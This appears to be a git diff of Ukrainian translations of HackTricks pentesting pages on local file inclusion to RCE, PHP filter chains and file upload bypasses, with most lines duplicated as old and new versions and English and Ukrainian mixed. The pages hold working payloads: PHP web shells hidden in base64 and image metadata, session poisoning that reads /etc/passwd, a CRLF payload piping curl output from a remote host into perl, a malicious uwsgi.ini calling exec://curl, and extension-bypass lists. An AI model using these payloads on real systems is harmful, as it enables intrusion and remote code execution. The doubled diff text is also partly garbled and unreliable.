http://example.com/index.php?page=path/to/uploaded/file.png
```
Щоб файл залишався читабельним, найкраще вставляти цю інформацію в метадані pictures/doc/pdf
Щоб файл залишався читабельним, найкраще інжектувати у метадані pictures/doc/pdf
### Через завантаження ZIP файлу
Завантажте ZIP-файл, що містить стиснений PHP shell, і отримайте доступ:
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Через PHP sessions
Перевірте, чи вебсайт використовує PHP Session (PHPSESSID)
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -570,11 +541,11 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Встановіть cookie у `<?php system('cat /etc/passwd');?>`
Встановіть cookie на `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Використайте LFI для включення файлу сесії PHP.
Використайте LFI, щоб включити файл сесії PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -582,114 +553,114 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Через** **vsftpd** _**журнали**_
### **Через** **vsftpd** _**логи**_
Журнали FTP-сервера vsftpd розташовані в _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd-сервера, можна розглянути такі кроки:
Логи FTP-сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) уразливість і є доступ до відкритого vsftpd сервера, можна розглянути такі кроки:
1. Інжектуйте PHP payload у поле username під час процесу входу.
2. Після інжекції використайте LFI, щоб витягти журнали сервера з _**/var/log/vsftpd.log**_.
2. Після інжекції скористайтеся LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_.
### Через php base64 filter (using base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує символи, що не належать до base64. Ви можете скористатися цим, щоб обійти перевірку розширення файлу: якщо ви подасте base64, який закінчується на ".php", фільтр просто проігнорує "." і додасть "php" до base64. Ось приклад payload:
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
### Через php filters (файл не потрібен)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вихід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters** для генерації довільного вмісту як вивід. Це, по суті, означає, що ви можете **згенерувати довільний PHP-код** для include **без необхідності записувати** його у файл.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### Через segmentation fault
**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **same request,** спричиніть **segmentation fault**, і тоді **temporary file won't be deleted**, і ви зможете його знайти.
Завантажте файл, який буде збережено тимчасово в `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, після чого тимчасовий файл не буде видалено і ви зможете його знайти.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Через тимчасове збереження файлів Nginx
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:
Якщо ви виявили **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
### Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** у даних **multipart POST**, PHP **увімкне сесію за вас**. Це можна використати для отримання RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Через тимчасові завантаження файлів у Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо ви отримаєте RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### Через `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, аргументи можна передавати скрипту через URL, оскільки вказано, що якщо параметр URL не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) та [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Наведено приклад зловживання CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Наведене експлуатує CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
Якщо ви знайшли **Local File Inclusion** і файл, що викликає **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви можете вивести шлях тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цієї **Race Condition**:
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **зависнути** виконання PHP, ви можете потім **перебиратиміть імена файлів методом bruteforce протягом годин**, щоб знайти тимчасовий файл:
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, ви тоді можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### До Fatal Error
Якщо ви включите будь-який із файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
**Я не знаю, наскільки це корисно, але можливо.**\
_Навіть якщо ви спричините PHP Fatal Error, тимчасові файли PHP, що були завантажені, видаляються._
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -5,34 +5,34 @@
## Вступ
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що можна використовувати **php filters для генерації довільного вмісту** для виводу. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **без потреби записувати** його у файл.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Це, по суті, означає, що ви можете **генерувати довільний php-код** для include **без потреби записувати** його у файл.
Мета скрипта — **згенерувати Base64** рядок на **початку** файлу, який наприкінці буде **декодований**, забезпечивши потрібний payload, що буде **інтерпретований `include`**.
Мета скрипта — **згенерувати Base64** рядок на **початку** файлу, який буде **наприкінці декодований**, надаючи потрібний payload, що буде **інтерпретований `include`**.
Основи для цього:
Основи цього підходу:
- `convert.iconv.UTF8.CSISO2022KR` завжди додаватиме `\x1b$)C` на початок рядка
- `convert.base64-decode` дуже толерантний, він фактично просто ігнорує будь-які символи, що не є валідними для base64. Він створює проблеми, якщо знаходить непередбачені "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7`
- `convert.base64-decode` надзвичайно толерантний, він по суті ігнорує будь-які символи, які не є валідними для base64. Він створює деякі проблеми, якщо знаходить непередбачене "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7`
Цикл для генерації довільного вмісту:
1. додати на початок нашого рядка `\x1b$)C`, як описано вище
2. застосувати ланцюжок iconv-конверсій, що залишає наш початковий base64 незмінним і перетворює частину, яку ми щойно додали, у рядок, де єдиним валідним base64-символом є наступна частина нашого base64-кодованого php-коду
3. base64-decode і base64-encode рядок — це видалить будь-який "сміття" між частинами
1. додати `\x1b$)C` до нашого рядка, як описано вище
2. застосувати деякий ланцюжок iconv конвертацій, який залишає наш початковий base64 неторканим і перетворює щойно додану частину в такий рядок, де єдиним валідним base64-символом є наступна частина нашого base64-кодованого php-коду
3. base64-decode і base64-encode рядок, що видалить будь-який сміттєвий вміст між частинами
4. Повернутися до кроку 1, якщо base64, який ми хочемо побудувати, ще не завершено
5. base64-decode, щоб отримати наш php-код
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
> **Includes** зазвичай роблять такі речі, як **додавання ".php" в кінці** імені файлу, що може ускладнити експлуатацію, оскільки потрібно знайти .php файл з вмістом, який не руйнує експлойт... або ви **можете просто використовувати `php://temp` як ресурс**, оскільки до імені можна **додати будь-що** (lie +".php") і це все одно дозволить експлойту працювати!
## Як також додати суфікси до отриманих даних
## How to add also suffixes to the resulting data
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP filters, щоб додавати суфікси до отриманого рядка. Це корисно, якщо вам потрібно, щоб вивід мав специфічний формат (наприклад json або додавання PNG magic bytes).
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP filters, щоб додати суфікси до результатного рядка. Це корисно, якщо вихід має мати специфічний формат (наприклад json або додавання PNG magic bytes)
## Автоматичні інструменти
## Automatic Tools
- https://github.com/synacktiv/php_filter_chain_generator
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(може додавати суфікси)**
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Повний скрипт
```python
@ -94,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### Покращення
### Improvements
Попередній скрипт обмежувався лише символами base64, потрібними для цього payload. Тому я створив власний скрипт, щоб **bruteforce всі символи base64**:
Попередній скрипт обмежувався лише символами base64, необхідними для того payload. Тому я створив власний скрипт, щоб **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -254,7 +254,7 @@ find_vals($init);
## Додаткові посилання
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Мистецтво PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,11 +17,11 @@
### Обхід перевірок розширень файлів
1. Якщо застосовно, **перевірте попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
- _file.png.php_
- _file.png.Php5_
3. Спробуйте додати **спеціальні символи в кінці.** Можна використати Burp, щоб **bruteforce** всі **ascii** та **Unicode** символи. (_Зверніть увагу, що також можна спробувати використати **попередньо** згадані **розширення**_)
3. Спробуйте додати **спеціальні символи в кінці.** Можна використовувати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **вищезгадані** **розширення**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обдуривши парсер розширень** на сервері за допомогою технік, таких як **подвійне** розширення або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload'а._
4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміття** (байти **null**) між розширеннями. _Також можна використати **попередні розширення** для підготовки кращого payload'а._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@
5. Додайте **ще один шар розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся на помилкову конфігурацію сервера. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням** _**.php**_**, але** не обов'язково що закінчується на .php** буде виконувати код):
6. Спробуйте поставити **виконуване розширення перед валідним розширенням** і сподівайтеся, що сервер налаштований неправильно. (корисно для експлуатації misconfig в Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчуючись на .php**, буде виконувати код):
- _ex: file.php.png_
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено двокрапку ":". В результаті на сервері буде створений **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше іншими техніками, наприклад використовуючи його коротке ім'я файлу. Також можна використати шаблон "**::$data**” для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити ліміт імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":”. В результаті на сервері буде створено **порожній файл із забороненим розширенням** (напр. "file.asax:.jpg”). Цей файл може бути редагований пізніше іншими техніками, наприклад, використовуючи його коротке ім'я. Патерн "**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього патерну може допомогти обійти подальші обмеження (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити обмеження на довжину імені файлу. Валідне розширення буде обрізано. А злоякісний PHP залишиться. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### Обхід Content-Type, Magic Number, Compression & Resizing
- Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
- Обійти перевірки **Content-Type**, встановивши значення заголовка **Content-Type**: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійдіть перевірку **magic number**, додавши на початок файлу **байти справжнього зображення** (заплутати команду _file_). Або вставте шелл всередину **metadata**:\
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл всередину **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **вставити payload безпосередньо** в зображення:\
`\` або також можна **ввести payload безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо до вашого зображення застосовується **сжаття** (наприклад через стандартні PHP-бібліотеки, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php)), попередні техніки можуть не спрацювати. Проте можна використати **PLTE chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload'а, що **витримує зміну розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Якщо до вашого зображення додається **компресія**, наприклад використовуючи стандартні PHP-бібліотеки як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути неефективні. Проте можна використати **PLTE chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload'а, який **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Інші трюки для перевірки
- Знайдіть вразливість, щоб **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor.
- **Можливе розкриття інформації**:
1. Завантажте файл **кілька разів** (і одночасно) з **однаковим іменем**
2. Завантажте файл з **іменем** файлу або папки, яка **вже існує**
3. Завантаження файлу з іменем **"." , "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в каталозі "/www/uploads/”, ім'я файлу "." створить файл під назвою "uploads” в каталозі "/www/”.
4. Завантажте файл, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **невалідними символами** в імені, такими як `|<>*?”`. (Windows)
6. Завантажте файл у **Windows** з використанням зарезервованих (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9.
- Також спробуйте **завантажити виконуваний** файл (.exe) або **.html** (менш підозріло), який **виконає код** при випадковому відкритті жертвою.
- Знайти вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайти **Local File Inclusion** вразливість для виконання backdoor'а.
- **Можлива витік інформації**:
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **іменем** файлу або папки, який **вже існує**
3. Завантаження файлу з ім'ям **"." , "..” або "…”**. Наприклад, в Apache на **Windows**, якщо застосунок зберігає завантажені файли в директорії "/www/uploads/”, ім'я файлу "." створить файл "uploads” в директорії "/www/”.
4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows)
5. Завантаження файлу в **Windows** з **недопустимими символами** в імені, такими як `|<>*?”` . (Windows)
6. Завантаження файлу в **Windows** з використанням **зарезервованих** (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозрілий), який **виконає код**, якщо випадково буде відкритий жертвою.
### Спеціальні трюки з розширеннями
Якщо ви намагаєтеся завантажити файли на **PHP server**, [погляньте на трюк з **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP server**, [погляньте на трюк з **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його через php, або включаючи його всередину скрипта...)
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконувані з php, або включені всередину скрипту...)
Розширення `.inc` іноді використовують для php файлів, які лише імпортують інші файли, тож інколи може бути дозволено **виконання такого розширення**.
Розширення `.inc` інколи використовується для php-файлів, які призначені лише для **імпорту інших файлів**, тому інколи може бути дозвіл на **виконання такого розширення**.
## **Jetty RCE**
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як згадано на наступному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте shell!
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war обробляються автоматично**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як показано на наведеному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте оболонку!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального вивчення цієї вразливості перегляньте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Конфігураційні файли uWSGI використовують специфічний синтаксис для включення "magic" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних схем, підтримуваних у uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі стандартного виводу процесу. Цю функцію можна використати для зловмисних цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
Remote Command Execution (RCE) вразливості можуть бути експлуатовані в uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів та операторів. Зокрема, оператор '@', що використовується у вигляді `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі stdout процесу. Цю можливість можна зловмисно використати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
```ini
[uwsgi]
; read from a symbol
@ -126,15 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурацію було активовано й розпарсено, процес uWSGI має бути або перезапущений (потенційно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через вказані інтервали при виявленні змін.
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована й розпарсена, процес uWSGI має бути перезапущений (можливо після збою або через Denial of Service атаку) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через вказані інтервали при виявленні змін.
Важливо розуміти вільний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення чи PDF), що ще більше розширює можливості експлуатації.
Важливо розуміти поблажливу природу парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення або PDF), що ще більше розширює поле для потенційної експлуатації.
## **wget Трюк завантаження файлів/SSRF**
## **wget File Upload/SSRF Trick**
У деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете вказати **URL**. У таких випадках код може перевіряти, що розширення скачуваних файлів входить у whitelist, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\
Максимальна **довжина** **імені файлу** в **linux****255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (у цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
Іноді може трапитися, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів входить у whitelist, щоб переконатися, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
